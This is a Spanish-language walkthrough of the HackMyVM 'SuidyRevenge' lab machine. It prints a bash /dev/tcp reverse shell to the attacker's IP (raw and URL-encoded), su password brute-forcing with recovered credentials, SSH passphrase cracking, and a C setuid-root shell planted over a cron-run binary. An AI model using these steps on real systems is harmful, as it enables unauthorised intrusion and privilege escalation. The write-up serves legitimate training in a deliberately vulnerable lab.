HackMyVM SuidyRevenge — Linux

HackMyVM SuidyRevenge — Linux

Esta es una máquina de HackMyVM de nivel Difícil

·

5 min read

Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.

Descargamos el archivo de la página https://hackmyvm.eu/machines/

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.

Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan para ver la dirección IP en nuestra red que sería la 192.168.0.12.

Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.

Empezamos un escaneo de puertos de la dirección IP y observamos que solo contamos con dos.

Ejecutamos un escaneo más profundo en los puertos identificados, pero no tenemos mayor información.

Ingresamos la dirección IP en el navegador y podemos observar que tenemos dos posibles usuarios que nos puedan ser de utilidad así también inspeccionando la página vemos un subdirectorio.

Como tenemos la pista de que hay una puerta trasera indicando que es un php y que está en el subdirectorio supersecure realizaremos un escaneo. Probamos con un escaneo usando un diccionario conocido, pero no obtenemos nada.

Probamos el diccionario backdoor_list y podemos observar que nos encuentra uno.

Ingresamos a la dirección donde observamos un texto.

Agregamos el parámetro al URL junto con un comando y podemos observar que podemos ejecutar comandos.

Como podemos ejecutar comando, iniciaremos nuestro listener para establecer la conexión cuando enviemos una reverse shell.

bash -c 'bash -i >& /dev/tcp/192.168.0.61/1234 0>&1'
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.61%2F1234%200%3E%261%22

Tratamos de establecer conexión, pero no es posible.

Ejecutando algunos comandos ls, observamos que tenemos otro archivo.

Nos dirigimos a ese archivo y podemos ver que nos muestra otro mensaje.

Probamos algunos comandos, pero no tenemos una respuesta positiva. Intentamos empleando una dirección web y tenemos éxito.

Con esto en mente, probamos establecer una consulta a nuestra máquina y tenemos suerte.

En la misma carpeta donde arrancamos el servidor copiamos una revshell.

Comenzamos el listener con el puerto seleccionado.

En el navegador ingresamos nuestra dirección IP con el archivo.

Regresamos a nuestro listener y podemos ver que establecimos conexión y somos www-data.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola. Al dirigirnos al directorio HOME observamos varios usuarios de los cuales solo podemos acceder a suidy el cual tiene 2 archivos, pero no podemos leer ninguno.

Revisando permisos SUID vemos 2 interesantes, pero no podemos ejecutarlos, ya que no contamos con el password del usuario.

Puesto que no tenemos el password probamos ejecutándolo así, pero no vemos ninguna pista.

Revisando la carpeta de la página observamos que tenemos una pista del usuario murda.

Como ya tenemos una pista emplearemos suForce, un diccionario corto de rockyou y luego de ello iniciamos nuestro servidor.

Descargamos ambos archivos.

Damos permisos de ejecución a suForce y luego de ejecutarlo podemos ver el password

murda:iloveyou

Nos logueamos como el usuario y en su carpeta de usuario observamos el siguiente mensaje.

Buscamos el archivo id_rsa y lo encontramos en games.

Copiamos el archivo, le damos permisos, pero al tratar de conectarnos nos pide una frase.

Copiamos la llave, primero usamos ssh2john para obtener el hash y luego con john podemos ver la frase.

ihateu

Ingresamos la frase y ya somos violent.

Vamos a su carpeta, pero no vemos nada interesante en ninguna otra carpeta o permiso.

Ya que no podemos llegar a otro lado probaremos empleando suForce en theuser como hace referencia en la nota que tenía murda. Primero probamos con el diccionario corto de rockyou, pero no encontró nada, Probando con una versión más amplia y tenemos resultados.

theuser:different

Realizamos un sudo -l, pero no tenemos permisos. Probamos buscando permisos SUID y seguimos con los mismos binarios.

Ejecutamos el binario y podemos ver que somos suidy.

Nos vamos a la carpeta de suidy y podemos leer el archivo note.txt de su interior.

Para buscar más información podemos usaremos pspy64.

Al ejecutar el archivo podemos ver que tenemos un script que se ejecuta

Supondremos que ese script se ejecuta e interviene con el archivo suidyyyyy. Y como tenemos permisos como theuser lo que haremos es reemplazar este archivo. Revisamos si tenemos gcc y si lo tenemos.

Ahora creamos un archivo.

#include <stdlib.h>
#include <unistd.h>

int main()
{
   setuid(0);
   setgid(0);
   system("/bin/bash");
   return 0;
}

Compilamos nuestro archivo y le colocamos el mismo nombre del binario, luego copiamos el binario en la carpeta de suidy, pero solo podemos hacerlo como theuser.

Probamos ejecutarlo al momento, pero no es posible. Recordemos que tenemos un script que está ejecutando el archivo cada ciertos segundos. Luego de unos segundos volvemos a ejecutarlo y podemos observar que accedimos como root.

Al ir a la carpeta de root observamos que nuestra suposición era correcta. De esta manera culminamos esta máquina.